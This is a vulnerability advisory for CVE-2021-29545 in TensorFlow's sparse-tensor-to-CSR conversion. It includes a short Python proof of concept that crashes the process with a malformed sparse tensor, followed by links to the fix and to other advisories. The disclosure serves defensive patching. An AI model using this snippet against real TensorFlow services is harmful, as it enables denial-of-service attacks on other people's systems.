CVE-2021-29545: Heap buffer overflow in `SparseTensorToCSRSparseMatrix`
(updated )
An attacker can trigger a denial of service via a CHECK
-fail in converting sparse tensors to CSR Sparse matrices:
import tensorflow as tf
import numpy as np
from tensorflow.python.ops.linalg.sparse import sparse_csr_matrix_ops
indices_array = np.array([[0, 0]])
value_array = np.array([0.0], dtype=np.float32)
dense_shape = [0, 0]
st = tf.SparseTensor(indices_array, value_array, dense_shape)
values_tensor = sparse_csr_matrix_ops.sparse_tensor_to_csr_sparse_matrix(
st.indices, st.values, st.dense_shape)
References
- github.com/advisories/GHSA-hmg3-c7xj-6qwm
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-473.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-671.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-182.yaml
- github.com/tensorflow/tensorflow
- github.com/tensorflow/tensorflow/commit/1e922ccdf6bf46a3a52641f99fd47d54c1decd13
- github.com/tensorflow/tensorflow/security/advisories/GHSA-hmg3-c7xj-6qwm
- nvd.nist.gov/vuln/detail/CVE-2021-29545
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